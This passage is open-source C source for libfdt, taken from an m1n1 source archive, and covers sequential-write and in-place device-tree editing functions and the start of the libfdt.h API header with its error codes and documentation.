*fdt) { if (!can_assume(VALID_INPUT)) { if (fdt_magic(fdt) == FDT_MAGIC) return -FDT_ERR_BADSTATE; else if (fdt_magic(fdt) != FDT_SW_MAGIC) return -FDT_ERR_BADMAGIC; } return 0; } #define FDT_SW_PROBE(fdt) \ { \ int err; \ if ((err = fdt_sw_probe_(fdt)) != 0) \ return err; \ } /* 'memrsv' state: Initial state after fdt_create() * * Allowed functions: * fdt_add_reservemap_entry() * fdt_finish_reservemap() [moves to 'struct' state] */ static int fdt_sw_probe_memrsv_(void *fdt) { int err = fdt_sw_probe_(fdt); if (err) return err; if (!can_assume(VALID_INPUT) && fdt_off_dt_strings(fdt) != 0) return -FDT_ERR_BADSTATE; return 0; } #define FDT_SW_PROBE_MEMRSV(fdt) \ { \ int err; \ if ((err = fdt_sw_probe_memrsv_(fdt)) != 0) \ return err; \ } /* 'struct' state: Enter this state after fdt_finish_reservemap() * * Allowed functions: * fdt_begin_node() * fdt_end_node() * fdt_property*() * fdt_finish() [moves to 'complete' state] */ static int fdt_sw_probe_struct_(void *fdt) { int err = fdt_sw_probe_(fdt); if (err) return err; if (!can_assume(VALID_INPUT) && fdt_off_dt_strings(fdt) != fdt_totalsize(fdt)) return -FDT_ERR_BADSTATE; return 0; } #define FDT_SW_PROBE_STRUCT(fdt) \ { \ int err; \ if ((err = fdt_sw_probe_struct_(fdt)) != 0) \ return err; \ } static inline uint32_t sw_flags(void *fdt) { /* assert: (fdt_magic(fdt) == FDT_SW_MAGIC) */ return fdt_last_comp_version(fdt); } /* 'complete' state: Enter this state after fdt_finish() * * Allowed functions: none */ static void *fdt_grab_space_(void *fdt, size_t len) { unsigned int offset = fdt_size_dt_struct(fdt); unsigned int spaceleft; spaceleft = fdt_totalsize(fdt) - fdt_off_dt_struct(fdt) - fdt_size_dt_strings(fdt); if ((offset + len < offset) || (offset + len > spaceleft)) return NULL; fdt_set_size_dt_struct(fdt, offset + len); return fdt_offset_ptr_w_(fdt, offset); } int fdt_create_with_flags(void *buf, int bufsize, uint32_t flags) { const int hdrsize = FDT_ALIGN(sizeof(struct fdt_header), sizeof(struct fdt_reserve_entry)); void *fdt = buf; if (bufsize < hdrsize) return -FDT_ERR_NOSPACE; if (flags & ~FDT_CREATE_FLAGS_ALL) return -FDT_ERR_BADFLAGS; memset(buf, 0, bufsize); /* * magic and last_comp_version keep intermediate state during the fdt * creation process, which is replaced with the proper FDT format by * fdt_finish(). * * flags should be accessed with sw_flags(). */ fdt_set_magic(fdt, FDT_SW_MAGIC); fdt_set_version(fdt, FDT_LAST_SUPPORTED_VERSION); fdt_set_last_comp_version(fdt, flags); fdt_set_totalsize(fdt, bufsize); fdt_set_off_mem_rsvmap(fdt, hdrsize); fdt_set_off_dt_struct(fdt, fdt_off_mem_rsvmap(fdt)); fdt_set_off_dt_strings(fdt, 0); return 0; } int fdt_create(void *buf, int bufsize) { return fdt_create_with_flags(buf, bufsize, 0); } int fdt_resize(void *fdt, void *buf, int bufsize) { size_t headsize, tailsize; char *oldtail, *newtail; FDT_SW_PROBE(fdt); if (bufsize < 0) return -FDT_ERR_NOSPACE; headsize = fdt_off_dt_struct(fdt) + fdt_size_dt_struct(fdt); tailsize = fdt_size_dt_strings(fdt); if (!can_assume(VALID_DTB) && headsize + tailsize > fdt_totalsize(fdt)) return -FDT_ERR_INTERNAL; if ((headsize + tailsize) > (unsigned)bufsize) return -FDT_ERR_NOSPACE; oldtail = (char *)fdt + fdt_totalsize(fdt) - tailsize; newtail = (char *)buf + bufsize - tailsize; /* Two cases to avoid clobbering data if the old and new * buffers partially overlap */ if (buf <= fdt) { memmove(buf, fdt, headsize); memmove(newtail, oldtail, tailsize); } else { memmove(newtail, oldtail, tailsize); memmove(buf, fdt, headsize); } fdt_set_totalsize(buf, bufsize); if (fdt_off_dt_strings(buf)) fdt_set_off_dt_strings(buf, bufsize); return 0; } int fdt_add_reservemap_entry(void *fdt, uint64_t addr, uint64_t size) { struct fdt_reserve_entry *re; int offset; FDT_SW_PROBE_MEMRSV(fdt); offset = fdt_off_dt_struct(fdt); if ((offset + sizeof(*re)) > fdt_totalsize(fdt)) return -FDT_ERR_NOSPACE; re = (struct fdt_reserve_entry *)((char *)fdt + offset); re->address = cpu_to_fdt64(addr); re->size = cpu_to_fdt64(size); fdt_set_off_dt_struct(fdt, offset + sizeof(*re)); return 0; } int fdt_finish_reservemap(void *fdt) { int err = fdt_add_reservemap_entry(fdt, 0, 0); if (err) return err; fdt_set_off_dt_strings(fdt, fdt_totalsize(fdt)); return 0; } int fdt_begin_node(void *fdt, const char *name) { struct fdt_node_header *nh; int namelen; FDT_SW_PROBE_STRUCT(fdt); namelen = strlen(name) + 1; nh = fdt_grab_space_(fdt, sizeof(*nh) + FDT_TAGALIGN(namelen)); if (! nh) return -FDT_ERR_NOSPACE; nh->tag = cpu_to_fdt32(FDT_BEGIN_NODE); memcpy(nh->name, name, namelen); return 0; } int fdt_end_node(void *fdt) { fdt32_t *en; FDT_SW_PROBE_STRUCT(fdt); en = fdt_grab_space_(fdt, FDT_TAGSIZE); if (! en) return -FDT_ERR_NOSPACE; *en = cpu_to_fdt32(FDT_END_NODE); return 0; } static int fdt_add_string_(void *fdt, const char *s) { char *strtab = (char *)fdt + fdt_totalsize(fdt); unsigned int strtabsize = fdt_size_dt_strings(fdt); unsigned int len = strlen(s) + 1; unsigned int struct_top, offset; offset = strtabsize + len; struct_top = fdt_off_dt_struct(fdt) + fdt_size_dt_struct(fdt); if (fdt_totalsize(fdt) - offset < struct_top) return 0; /* no more room :( */ memcpy(strtab - offset, s, len); fdt_set_size_dt_strings(fdt, strtabsize + len); return -offset; } /* Must only be used to roll back in case of error */ static void fdt_del_last_string_(void *fdt, const char *s) { int strtabsize = fdt_size_dt_strings(fdt); int len = strlen(s) + 1; fdt_set_size_dt_strings(fdt, strtabsize - len); } static int fdt_find_add_string_(void *fdt, const char *s, int *allocated) { char *strtab = (char *)fdt + fdt_totalsize(fdt); int strtabsize = fdt_size_dt_strings(fdt); const char *p; *allocated = 0; p = fdt_find_string_(strtab - strtabsize, strtabsize, s); if (p) return p - strtab; *allocated = 1; return fdt_add_string_(fdt, s); } int fdt_property_placeholder(void *fdt, const char *name, int len, void **valp) { struct fdt_property *prop; int nameoff; int allocated; FDT_SW_PROBE_STRUCT(fdt); /* String de-duplication can be slow, _NO_NAME_DEDUP skips it */ if (sw_flags(fdt) & FDT_CREATE_FLAG_NO_NAME_DEDUP) { allocated = 1; nameoff = fdt_add_string_(fdt, name); } else { nameoff = fdt_find_add_string_(fdt, name, &allocated); } if (nameoff == 0) return -FDT_ERR_NOSPACE; prop = fdt_grab_space_(fdt, sizeof(*prop) + FDT_TAGALIGN(len)); if (! prop) { if (allocated) fdt_del_last_string_(fdt, name); return -FDT_ERR_NOSPACE; } prop->tag = cpu_to_fdt32(FDT_PROP); prop->nameoff = cpu_to_fdt32(nameoff); prop->len = cpu_to_fdt32(len); *valp = prop->data; return 0; } int fdt_property(void *fdt, const char *name, const void *val, int len) { void *ptr; int ret; ret = fdt_property_placeholder(fdt, name, len, &ptr); if (ret) return ret; memcpy(ptr, val, len); return 0; } int fdt_finish(void *fdt) { char *p = (char *)fdt; fdt32_t *end; int oldstroffset, newstroffset; uint32_t tag; int offset, nextoffset; FDT_SW_PROBE_STRUCT(fdt); /* Add terminator */ end = fdt_grab_space_(fdt, sizeof(*end)); if (! end) return -FDT_ERR_NOSPACE; *end = cpu_to_fdt32(FDT_END); /* Relocate the string table */ oldstroffset = fdt_totalsize(fdt) - fdt_size_dt_strings(fdt); newstroffset = fdt_off_dt_struct(fdt) + fdt_size_dt_struct(fdt); memmove(p + newstroffset, p + oldstroffset, fdt_size_dt_strings(fdt)); fdt_set_off_dt_strings(fdt, newstroffset); /* Walk the structure, correcting string offsets */ offset = 0; while ((tag = fdt_next_tag(fdt, offset, &nextoffset)) != FDT_END) { if (tag == FDT_PROP) { struct fdt_property *prop = fdt_offset_ptr_w_(fdt, offset); int nameoff; nameoff = fdt32_to_cpu(prop->nameoff); nameoff += fdt_size_dt_strings(fdt); prop->nameoff = cpu_to_fdt32(nameoff); } offset = nextoffset; } if (nextoffset < 0) return nextoffset; /* Finally, adjust the header */ fdt_set_totalsize(fdt, newstroffset + fdt_size_dt_strings(fdt)); /* And fix up fields that were keeping intermediate state. */ fdt_set_last_comp_version(fdt, FDT_FIRST_SUPPORTED_VERSION); fdt_set_magic(fdt, FDT_MAGIC); return 0; } m1n1-1.4.11/src/libfdt/fdt_wip.c000066400000000000000000000035621453754430200162220ustar00rootroot00000000000000// SPDX-License-Identifier: (GPL-2.0-or-later OR BSD-2-Clause) /* * libfdt - Flat Device Tree manipulation * Copyright (C) 2006 David Gibson, IBM Corporation. */ #include "libfdt_env.h" #include "fdt.h" #include "libfdt.h" #include "libfdt_internal.h" int fdt_setprop_inplace_namelen_partial(void *fdt, int nodeoffset, const char *name, int namelen, uint32_t idx, const void *val, int len) { void *propval; int proplen; propval = fdt_getprop_namelen_w(fdt, nodeoffset, name, namelen, &proplen); if (!propval) return proplen; if ((unsigned)proplen < (len + idx)) return -FDT_ERR_NOSPACE; memcpy((char *)propval + idx, val, len); return 0; } int fdt_setprop_inplace(void *fdt, int nodeoffset, const char *name, const void *val, int len) { const void *propval; int proplen; propval = fdt_getprop(fdt, nodeoffset, name, &proplen); if (!propval) return proplen; if (proplen != len) return -FDT_ERR_NOSPACE; return fdt_setprop_inplace_namelen_partial(fdt, nodeoffset, name, strlen(name), 0, val, len); } static void fdt_nop_region_(void *start, int len) { fdt32_t *p; for (p = start; (char *)p < ((char *)start + len); p++) *p = cpu_to_fdt32(FDT_NOP); } int fdt_nop_property(void *fdt, int nodeoffset, const char *name) { struct fdt_property *prop; int len; prop = fdt_get_property_w(fdt, nodeoffset, name, &len); if (!prop) return len; fdt_nop_region_(prop, len + sizeof(*prop)); return 0; } int fdt_node_end_offset_(void *fdt, int offset) { int depth = 0; while ((offset >= 0) && (depth >= 0)) offset = fdt_next_node(fdt, offset, &depth); return offset; } int fdt_nop_node(void *fdt, int nodeoffset) { int endoffset; endoffset = fdt_node_end_offset_(fdt, nodeoffset); if (endoffset < 0) return endoffset; fdt_nop_region_(fdt_offset_ptr_w(fdt, nodeoffset, 0), endoffset - nodeoffset); return 0; } m1n1-1.4.11/src/libfdt/libfdt.h000066400000000000000000002201221453754430200160300ustar00rootroot00000000000000/* SPDX-License-Identifier: (GPL-2.0-or-later OR BSD-2-Clause) */ #ifndef LIBFDT_H #define LIBFDT_H /* * libfdt - Flat Device Tree manipulation * Copyright (C) 2006 David Gibson, IBM Corporation. */ #include "libfdt_env.h" #include "fdt.h" #ifdef __cplusplus extern "C" { #endif #define FDT_FIRST_SUPPORTED_VERSION 0x02 #define FDT_LAST_SUPPORTED_VERSION 0x11 /* Error codes: informative error codes */ #define FDT_ERR_NOTFOUND 1 /* FDT_ERR_NOTFOUND: The requested node or property does not exist */ #define FDT_ERR_EXISTS 2 /* FDT_ERR_EXISTS: Attempted to create a node or property which * already exists */ #define FDT_ERR_NOSPACE 3 /* FDT_ERR_NOSPACE: Operation needed to expand the device * tree, but its buffer did not have sufficient space to * contain the expanded tree. Use fdt_open_into() to move the * device tree to a buffer with more space. */ /* Error codes: codes for bad parameters */ #define FDT_ERR_BADOFFSET 4 /* FDT_ERR_BADOFFSET: Function was passed a structure block * offset which is out-of-bounds, or which points to an * unsuitable part of the structure for the operation. */ #define FDT_ERR_BADPATH 5 /* FDT_ERR_BADPATH: Function was passed a badly formatted path * (e.g. missing a leading / for a function which requires an * absolute path) */ #define FDT_ERR_BADPHANDLE 6 /* FDT_ERR_BADPHANDLE: Function was passed an invalid phandle. * This can be caused either by an invalid phandle property * length, or the phandle value was either 0 or -1, which are * not permitted. */ #define FDT_ERR_BADSTATE 7 /* FDT_ERR_BADSTATE: Function was passed an incomplete device * tree created by the sequential-write functions, which is * not sufficiently complete for the requested operation. */ /* Error codes: codes for bad device tree blobs */ #define FDT_ERR_TRUNCATED 8 /* FDT_ERR_TRUNCATED: FDT or a sub-block is improperly * terminated (overflows, goes outside allowed bounds, or * isn't properly terminated). */ #define FDT_ERR_BADMAGIC 9 /* FDT_ERR_BADMAGIC: Given "device tree" appears not to be a * device tree at all - it is missing the flattened device * tree magic number. */ #define FDT_ERR_BADVERSION 10 /* FDT_ERR_BADVERSION: Given device tree has a version which * can't be handled by the requested operation. For * read-write functions, this may mean that fdt_open_into() is * required to convert the tree to the expected version. */ #define FDT_ERR_BADSTRUCTURE 11 /* FDT_ERR_BADSTRUCTURE: Given device tree has a corrupt * structure block or other serious error (e.g. misnested * nodes, or subnodes preceding properties). */ #define FDT_ERR_BADLAYOUT 12 /* FDT_ERR_BADLAYOUT: For read-write functions, the given * device tree has it's sub-blocks in an order that the * function can't handle (memory reserve map, then structure, * then strings). Use fdt_open_into() to reorganize the tree * into a form suitable for the read-write operations. */ /* "Can't happen" error indicating a bug in libfdt */ #define FDT_ERR_INTERNAL 13 /* FDT_ERR_INTERNAL: libfdt has failed an internal assertion. * Should never be returned, if it is, it indicates a bug in * libfdt itself. */ /* Errors in device tree content */ #define FDT_ERR_BADNCELLS 14 /* FDT_ERR_BADNCELLS: Device tree has a #address-cells, #size-cells * or similar property with a bad format or value */ #define FDT_ERR_BADVALUE 15 /* FDT_ERR_BADVALUE: Device tree has a property with an unexpected * value. For example: a property expected to contain a string list * is not NUL-terminated within the length of its value. */ #define FDT_ERR_BADOVERLAY 16 /* FDT_ERR_BADOVERLAY: The device tree overlay, while * correctly structured, cannot be applied due to some * unexpected or missing value, property or node. */ #define FDT_ERR_NOPHANDLES 17 /* FDT_ERR_NOPHANDLES: The device tree doesn't have any * phandle available anymore without causing an overflow */ #define FDT_ERR_BADFLAGS 18 /* FDT_ERR_BADFLAGS: The function was passed a flags field that * contains invalid flags or an invalid combination of flags. */ #define FDT_ERR_MAX 18 /* constants */ #define FDT_MAX_PHANDLE 0xfffffffe /* Valid values for phandles range from 1 to 2^32-2. */ /**********************************************************************/ /* Low-level functions (you probably don't need these) */ /**********************************************************************/ #ifndef SWIG /* This function is not useful in Python */ const void *fdt_offset_ptr(const void *fdt, int offset, unsigned int checklen); #endif static inline void *fdt_offset_ptr_w(void *fdt, int offset, int checklen) { return (void *)(uintptr_t)fdt_offset_ptr(fdt, offset, checklen); } uint32_t fdt_next_tag(const void *fdt, int offset, int *nextoffset); /* * Alignment helpers: * These helpers access words from a device tree blob. They're * built to work even with unaligned pointers on platforms (ike * ARM) that don't like unaligned loads and stores */ static inline uint32_t fdt32_ld(const fdt32_t *p) { const uint8_t *bp = (const uint8_t *)p; return ((uint32_t)bp[0] << 24) | ((uint32_t)bp[1] << 16) | ((uint32_t)bp[2] << 8) | bp[3]; } static inline void fdt32_st(void *property, uint32_t value) { uint8_t *bp = (uint8_t *)property; bp[0] = value >> 24; bp[1] = (value >> 16) & 0xff; bp[2] = (value >> 8) & 0xff; bp[3] = value & 0xff; } static inline uint64_t fdt64_ld(const fdt64_t *p) { const uint8_t *bp = (const uint8_t *)p; return ((uint64_t)bp[0] << 56) | ((uint64_t)bp[1] << 48) | ((uint64_t)bp[2] << 40) | ((uint64_t)bp[3] << 32) | ((uint64_t)bp[4] << 24) | ((uint64_t)bp[5] << 16) | ((uint64_t)bp[6] << 8) | bp[7]; } static inline void fdt64_st(void *property, uint64_t value) { uint8_t *bp = (uint8_t *)property; bp[0] = value >> 56; bp[1] = (value >> 48) & 0xff; bp[2] = (value >> 40) & 0xff; bp[3] = (value >> 32) & 0xff; bp[4] = (value >> 24) & 0xff; bp[5] = (value >> 16) & 0xff; bp[6] = (value >> 8) & 0xff; bp[7] = value & 0xff; } /**********************************************************************/ /* Traversal functions */ /**********************************************************************/ int fdt_next_node(const void *fdt, int offset, int *depth); /** * fdt_first_subnode() - get offset of first direct subnode * * @fdt: FDT blob * @offset: Offset of node to check * @return offset of first subnode, or -FDT_ERR_NOTFOUND if there is none */ int fdt_first_subnode(const void *fdt, int offset); /** * fdt_next_subnode() - get offset of next direct subnode * * After first calling fdt_first_subnode(), call this function repeatedly to * get direct subnodes of a parent node. * * @fdt: FDT blob * @offset: Offset of previous subnode * @return offset of next subnode, or -FDT_ERR_NOTFOUND if there are no more * subnodes */ int fdt_next_subnode(const void *fdt, int offset); /** * fdt_for_each_subnode - iterate over all subnodes of a parent * * @node: child node (int, lvalue) * @fdt: FDT blob (const void *) * @parent: parent node (int) * * This is actually a wrapper around a for loop and would be used like so: * * fdt_for_each_subnode(node, fdt, parent) { * Use node * ... * } * * if ((node < 0) && (node != -FDT_ERR_NOTFOUND)) { * Error handling * } * * Note that this is implemented as a macro and @node is used as * iterator in the loop. The parent variable be constant or even a * literal. * */ #define fdt_for_each_subnode(node, fdt, parent) \ for (node = fdt_first_subnode(fdt, parent); \ node >= 0; \ node = fdt_next_subnode(fdt, node)) /**********************************************************************/ /* General functions */ /**********************************************************************/ #define fdt_get_header(fdt, field) \ (fdt32_ld(&((const struct fdt_header *)(fdt))->field)) #define fdt_magic(fdt) (fdt_get_header(fdt, magic)) #define fdt_totalsize(fdt) (fdt_get_header(fdt, totalsize)) #define fdt_off_dt_struct(fdt) (fdt_get_header(fdt, off_dt_struct)) #define fdt_off_dt_strings(fdt) (fdt_get_header(fdt, off_dt_strings)) #define fdt_off_mem_rsvmap(fdt) (fdt_get_header(fdt, off_mem_rsvmap)) #define fdt_version(fdt) (fdt_get_header(fdt, version)) #define fdt_last_comp_version(fdt) (fdt_get_header(fdt, last_comp_version)) #define fdt_boot_cpuid_phys(fdt) (fdt_get_header(fdt, boot_cpuid_phys)) #define fdt_size_dt_strings(fdt) (fdt_get_header(fdt, size_dt_strings)) #define fdt_size_dt_struct(fdt) (fdt_get_header(fdt, size_dt_struct)) #define fdt_set_hdr_(name) \ static inline void fdt_set_##name(void *fdt, uint32_t val) \ { \ struct fdt_header *fdth = (struct fdt_header *)fdt; \ fdth->name = cpu_to_fdt32(val); \ } fdt_set_hdr_(magic); fdt_set_hdr_(totalsize); fdt_set_hdr_(off_dt_struct); fdt_set_hdr_(off_dt_strings); fdt_set_hdr_(off_mem_rsvmap); fdt_set_hdr_(version); fdt_set_hdr_(last_comp_version); fdt_set_hdr_(boot_cpuid_phys); fdt_set_hdr_(size_dt_strings); fdt_set_hdr_(size_dt_struct); #undef fdt_set_hdr_ /** * fdt_header_size - return the size of the tree's header * @fdt: pointer to a flattened device tree */ size_t fdt_header_size(const void *fdt); /** * fdt_header_size_ - internal function which takes a version number */ size_t fdt_header_size_(uint32_t version); /** * fdt_check_header - sanity check a device tree header * @fdt: pointer to data which might be a flattened device tree * * fdt_check_header() checks that the given buffer contains what * appears to be a flattened device tree, and that the header contains * valid information (to the extent that can be determined from the * header alone). * * returns: * 0, if the buffer appears to contain a valid device tree * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_TRUNCATED, standard meanings, as above */ int fdt_check_header(const void *fdt); /** * fdt_move - move a device tree around in memory * @fdt: pointer to the device tree to move * @buf: pointer to memory where the device is to be moved * @bufsize: size of the memory space at buf * * fdt_move() relocates, if possible, the device tree blob located at * fdt to the buffer at buf of size bufsize. The buffer may overlap * with the existing device tree blob at fdt. Therefore, * fdt_move(fdt, fdt, fdt_totalsize(fdt)) * should always succeed. * * returns: * 0, on success * -FDT_ERR_NOSPACE, bufsize is insufficient to contain the device tree * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, standard meanings */ int fdt_move(const void *fdt, void *buf, int bufsize); /**********************************************************************/ /* Read-only functions */ /**********************************************************************/ int fdt_check_full(const void *fdt, size_t bufsize); /** * fdt_get_string - retrieve a string from the strings block of a device tree * @fdt: pointer to the device tree blob * @stroffset: offset of the string within the strings block (native endian) * @lenp: optional pointer to return the string's length * * fdt_get_string() retrieves a pointer to a single string from the * strings block of the device tree blob at fdt, and optionally also * returns the string's length in *lenp. * * returns: * a pointer to the string, on success * NULL, if stroffset is out of bounds, or doesn't point to a valid string */ const char *fdt_get_string(const void *fdt, int stroffset, int *lenp); /** * fdt_string - retrieve a string from the strings block of a device tree * @fdt: pointer to the device tree blob * @stroffset: offset of the string within the strings block (native endian) * * fdt_string() retrieves a pointer to a single string from the * strings block of the device tree blob at fdt. * * returns: * a pointer to the string, on success * NULL, if stroffset is out of bounds, or doesn't point to a valid string */ const char *fdt_string(const void *fdt, int stroffset); /** * fdt_find_max_phandle - find and return the highest phandle in a tree * @fdt: pointer to the device tree blob * @phandle: return location for the highest phandle value found in the tree * * fdt_find_max_phandle() finds the highest phandle value in the given device * tree. The value returned in @phandle is only valid if the function returns * success. * * returns: * 0 on success or a negative error code on failure */ int fdt_find_max_phandle(const void *fdt, uint32_t *phandle); /** * fdt_get_max_phandle - retrieves the highest phandle in a tree * @fdt: pointer to the device tree blob * * fdt_get_max_phandle retrieves the highest phandle in the given * device tree. This will ignore badly formatted phandles, or phandles * with a value of 0 or -1. * * This function is deprecated in favour of fdt_find_max_phandle(). * * returns: * the highest phandle on success * 0, if no phandle was found in the device tree * -1, if an error occurred */ static inline uint32_t fdt_get_max_phandle(const void *fdt) { uint32_t phandle; int err; err = fdt_find_max_phandle(fdt, &phandle); if (err < 0) return (uint32_t)-1; return phandle; } /** * fdt_generate_phandle - return a new, unused phandle for a device tree blob * @fdt: pointer to the device tree blob * @phandle: return location for the new phandle * * Walks the device tree blob and looks for the highest phandle value. On * success, the new, unused phandle value (one higher than the previously * highest phandle value in the device tree blob) will be returned in the * @phandle parameter. * * Returns: * 0 on success or a negative error-code on failure */ int fdt_generate_phandle(const void *fdt, uint32_t *phandle); /** * fdt_num_mem_rsv - retrieve the number of memory reserve map entries * @fdt: pointer to the device tree blob * * Returns the number of entries in the device tree blob's memory * reservation map. This does not include the terminating 0,0 entry * or any other (0,0) entries reserved for expansion. * * returns: * the number of entries */ int fdt_num_mem_rsv(const void *fdt); /** * fdt_get_mem_rsv - retrieve one memory reserve map entry * @fdt: pointer to the device tree blob * @address, @size: pointers to 64-bit variables * * On success, *address and *size will contain the address and size of * the n-th reserve map entry from the device tree blob, in * native-endian format. * * returns: * 0, on success * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, standard meanings */ int fdt_get_mem_rsv(const void *fdt, int n, uint64_t *address, uint64_t *size); /** * fdt_subnode_offset_namelen - find a subnode based on substring * @fdt: pointer to the device tree blob * @parentoffset: structure block offset of a node * @name: name of the subnode to locate * @namelen: number of characters of name to consider * * Identical to fdt_subnode_offset(), but only examine the first * namelen characters of name for matching the subnode name. This is * useful for finding subnodes based on a portion of a larger string, * such as a full path. */ #ifndef SWIG /* Not available in Python */ int fdt_subnode_offset_namelen(const void *fdt, int parentoffset, const char *name, int namelen); #endif /** * fdt_subnode_offset - find a subnode of a given node * @fdt: pointer to the device tree blob * @parentoffset: structure block offset of a node * @name: name of the subnode to locate * * fdt_subnode_offset() finds a subnode of the node at structure block * offset parentoffset with the given name. name may include a unit * address, in which case fdt_subnode_offset() will find the subnode * with that unit address, or the unit address may be omitted, in * which case fdt_subnode_offset() will find an arbitrary subnode * whose name excluding unit address matches the given name. * * returns: * structure block offset of the requested subnode (>=0), on success * -FDT_ERR_NOTFOUND, if the requested subnode does not exist * -FDT_ERR_BADOFFSET, if parentoffset did not point to an FDT_BEGIN_NODE * tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings. */ int fdt_subnode_offset(const void *fdt, int parentoffset, const char *name); /** * fdt_path_offset_namelen - find a tree node by its full path * @fdt: pointer to the device tree blob * @path: full path of the node to locate * @namelen: number of characters of path to consider * * Identical to fdt_path_offset(), but only consider the first namelen * characters of path as the path name. */ #ifndef SWIG /* Not available in Python */ int fdt_path_offset_namelen(const void *fdt, const char *path, int namelen); #endif /** * fdt_path_offset - find a tree node by its full path * @fdt: pointer to the device tree blob * @path: full path of the node to locate * * fdt_path_offset() finds a node of a given path in the device tree. * Each path component may omit the unit address portion, but the * results of this are undefined if any such path component is * ambiguous (that is if there are multiple nodes at the relevant * level matching the given component, differentiated only by unit * address). * * returns: * structure block offset of the node with the requested path (>=0), on * success * -FDT_ERR_BADPATH, given path does not begin with '/' or is invalid * -FDT_ERR_NOTFOUND, if the requested node does not exist * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings. */ int fdt_path_offset(const void *fdt, const char *path); /** * fdt_get_name - retrieve the name of a given node * @fdt: pointer to the device tree blob * @nodeoffset: structure block offset of the starting node * @lenp: pointer to an integer variable (will be overwritten) or NULL * * fdt_get_name() retrieves the name (including unit address) of the * device tree node at structure block offset nodeoffset. If lenp is * non-NULL, the length of this name is also returned, in the integer * pointed to by lenp. * * returns: * pointer to the node's name, on success * If lenp is non-NULL, *lenp contains the length of that name * (>=0) * NULL, on error * if lenp is non-NULL *lenp contains an error code (<0): * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE * tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, standard meanings */ const char *fdt_get_name(const void *fdt, int nodeoffset, int *lenp); /** * fdt_first_property_offset - find the offset of a node's first property * @fdt: pointer to the device tree blob * @nodeoffset: structure block offset of a node * * fdt_first_property_offset() finds the first property of the node at * the given structure block offset. * * returns: * structure block offset of the property (>=0), on success * -FDT_ERR_NOTFOUND, if the requested node has no properties * -FDT_ERR_BADOFFSET, if nodeoffset did not point to an FDT_BEGIN_NODE tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings. */ int fdt_first_property_offset(const void *fdt, int nodeoffset); /** * fdt_next_property_offset - step through a node's properties * @fdt: pointer to the device tree blob * @offset: structure block offset of a property * * fdt_next_property_offset() finds the property immediately after the * one at the given structure block offset. This will be a property * of the same node as the given property. * * returns: * structure block offset of the next property (>=0), on success * -FDT_ERR_NOTFOUND, if the given property is the last in its node * -FDT_ERR_BADOFFSET, if nodeoffset did not point to an FDT_PROP tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings. */ int fdt_next_property_offset(const void *fdt, int offset); /** * fdt_for_each_property_offset - iterate over all properties of a node * * @property_offset: property offset (int, lvalue) * @fdt: FDT blob (const void *) * @node: node offset (int) * * This is actually a wrapper around a for loop and would be used like so: * * fdt_for_each_property_offset(property, fdt, node) { * Use property * ... * } * * if ((property < 0) && (property != -FDT_ERR_NOTFOUND)) { * Error handling * } * * Note that this is implemented as a macro and property is used as * iterator in the loop. The node variable can be constant or even a * literal. */ #define fdt_for_each_property_offset(property, fdt, node) \ for (property = fdt_first_property_offset(fdt, node); \ property >= 0; \ property = fdt_next_property_offset(fdt, property)) /** * fdt_get_property_by_offset - retrieve the property at a given offset * @fdt: pointer to the device tree blob * @offset: offset of the property to retrieve * @lenp: pointer to an integer variable (will be overwritten) or NULL * * fdt_get_property_by_offset() retrieves a pointer to the * fdt_property structure within the device tree blob at the given * offset. If lenp is non-NULL, the length of the property value is * also returned, in the integer pointed to by lenp. * * Note that this code only works on device tree versions >= 16. fdt_getprop() * works on all versions. * * returns: * pointer to the structure representing the property * if lenp is non-NULL, *lenp contains the length of the property * value (>=0) * NULL, on error * if lenp is non-NULL, *lenp contains an error code (<0): * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_PROP tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings */ const struct fdt_property *fdt_get_property_by_offset(const void *fdt, int offset, int *lenp); /** * fdt_get_property_namelen - find a property based on substring * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to find * @name: name of the property to find * @namelen: number of characters of name to consider * @lenp: pointer to an integer variable (will be overwritten) or NULL * * Identical to fdt_get_property(), but only examine the first namelen * characters of name for matching the property name. */ #ifndef SWIG /* Not available in Python */ const struct fdt_property *fdt_get_property_namelen(const void *fdt, int nodeoffset, const char *name, int namelen, int *lenp); #endif /** * fdt_get_property - find a given property in a given node * @fdt: pointer to the device tree blob * @nodeoffset: offset of the node whose property to find * @name: name of the property to find * @lenp: pointer to an integer variable (will be overwritten) or NULL * * fdt_get_property() retrieves a pointer to the fdt_property * structure within the device tree blob corresponding to the property * named 'name' of the node at offset nodeoffset. If lenp is * non-NULL, the length of the property value is also returned, in the * integer pointed to by lenp. * * returns: * pointer to the structure representing the property * if lenp is non-NULL, *lenp contains the length of the property * value (>=0) * NULL, on error * if lenp is non-NULL, *lenp contains an error code (<0): * -FDT_ERR_NOTFOUND, node does not have named property * -FDT_ERR_BADOFFSET, nodeoffset did not point to FDT_BEGIN_NODE * tag * -FDT_ERR_BADMAGIC, * -FDT_ERR_BADVERSION, * -FDT_ERR_BADSTATE, * -FDT_ERR_BADSTRUCTURE, * -FDT_ERR_TRUNCATED, standard meanings */ const struct fdt_property *fdt_get_property(const void *fdt, int nodeoffset, const char *name, int *lenp); static inline struct fdt_property *fdt_get_property_w(void *fdt, int nodeoffset, const char *name, int *lenp) { return (struct fdt_property *)(uintptr_t) fdt_get_property(fdt, nodeoffset, name, 